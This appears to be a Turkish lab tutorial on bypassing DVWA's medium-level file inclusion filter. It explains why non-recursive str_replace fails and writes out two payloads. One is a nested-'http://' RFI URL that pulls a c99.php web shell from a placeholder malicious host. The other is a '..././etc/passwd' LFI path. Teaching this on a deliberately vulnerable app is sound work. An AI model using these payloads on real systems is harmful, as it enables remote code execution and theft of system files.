Ders 9 - File Inclusion (Medium Level)
Bu yazıda güvenlik düzeyi Medium seviyesine yükseltilmiş DVWA'ya karşı LFI ve RFI için yapılabilecek güvenlik önlemleri incelenecektir.

Dersin Hedefi

LFI ve RFI saldırılarına karşı ne gibi bir önlem alınabileceğini keşfedin.

LFI ve RFI'ya Karşı Önlem

Geçen ders LFI ve RFI saldırılarında bulunmuştuk. O derste kullandığımız ekranın kaynak kodu şuydu:

Low Level:
<?php 

// The page we wish to display 
$file = $_GET[ 'page' ]; 

// Include the specified page
include($file);

?>


Güvenlik Low Level iken görüldüğü üzere page parametresinden gelen dosya adı olduğu gibi include() fonksiyonuna giriyor ve sayfaya dahil ediliyor. page parametresinden gelecek dosya adları konusunda bir denetleme mekanizmasına ihtiyaç vardır. Aksi takdirde dileyen dilediği dosya adını parametreye girebilir ve dilediği dosyayı sayfaya görüntületebilir. Güvenlik seviyesi Medium'a çıkarıldığında kaynak koddaki değişim aşağıdaki gibidir:

Medium Level:
<?php 

// The page we wish to display 
$file = $_GET[ 'page' ]; 

// Input validation 
$file = str_replace( array( "http://", "https://" ), "", $file ); 
$file = str_replace( array( "../", "..\"" ), "", $file ); 

// Include the specified page
include($file);
?>


Medium seviyesinin kaynak kodunda yer alan ilk str_replace() fonksiyonu ile page parametresine değer olarak girilen dosya ismindeki http:// ve https:// gibi karakterler varsa silinir. Ardından ikinci str_replace() fonksiyonu ile windows sistemlerde üst dizine çıkmayı sağlayan ..\ karakteri ile linux sistemlerde üst dizine çıkmayı sağlayan ../ karakteri dosya isminden varsa silinir. Böylelikle ilk planda kusursuz görünen güvenlik temin edilmiş olunur.

İlk str_replace() ile Remote File Inclusion (RFI) saldırılarına karşı önlem alınmışken, ikinci str_replace() fonksiyonu ile de Local File Inclusion (LFI) saldırılarına karşı önlem alınmıştır. Fakat Medium seviyesinde alınan bu önlemler aşılabilmektedir.

http:// ve https:// ‘lerden arındıran ilk str_replace() fonksiyonunu atlatıp yine RFI saldırısında bulunabilmenin yolu şudur: http:// karakterlerinin arasına http:// karakterlerini koymak. Neyi kastettiğimi sanırım aşağıdaki renklendirilmiş linkten daha iyi anlayacaksınız:



localhost/dvwa/vulnerabilities/fi/?page=htthttp://p://zararlibirsite.com/c99.php



Yukarıdaki saldırı kodunu ele alacak olursak Medium Level'daki lk str_replace() fonksiyonu aldığı page parametresinin değerini tarayacak ve kırmızı renkli karakterleri gördüğü an silecektir. Ardından str_replace() fonksiyonu kaldığı yerden taramaya devam edecektir. Fakat başa sarmayacaktır. Başa sarmadığı için arta kalanların birleşimi sonucu ortaya çıkan http:// karakterlerini fonksiyon yakalayamayacaktır. Böylelikle güvenlik aşılmış olacaktır ve RFI saldırısı gerçekleştirilmiş olacaktır.



localhost/dvwa/vulnerabilities/fi/?page=..././etc/passwd



Local File Inclusion'a karşı güvenlik önlemi olan ikinci str_replace() fonksiyonuna gelecek olursak kırmızı karakterleri gören ikinci str_replace() fonksiyonu kırmızı renkli üst dizin karakterlerini silecek ve kaldığı yerden tarama işlemine devam edecektir. Geride arta kalanlar ise birleştiğinde yine üst dizin karakterini (../) meydana getirecektir. Böylelikle önceki derste bahsedildiği gibi yine kullanıcı adları ve ait oldukları gruplar bilgisine LFI saldırısıyla yine ulaşılabilecektir.
Bu yazı 16.01.2016 tarihinde, saat 21:24:18'de yazılmıştır. 27.03.2016 tarihi ve 17:37:55 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 2935
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :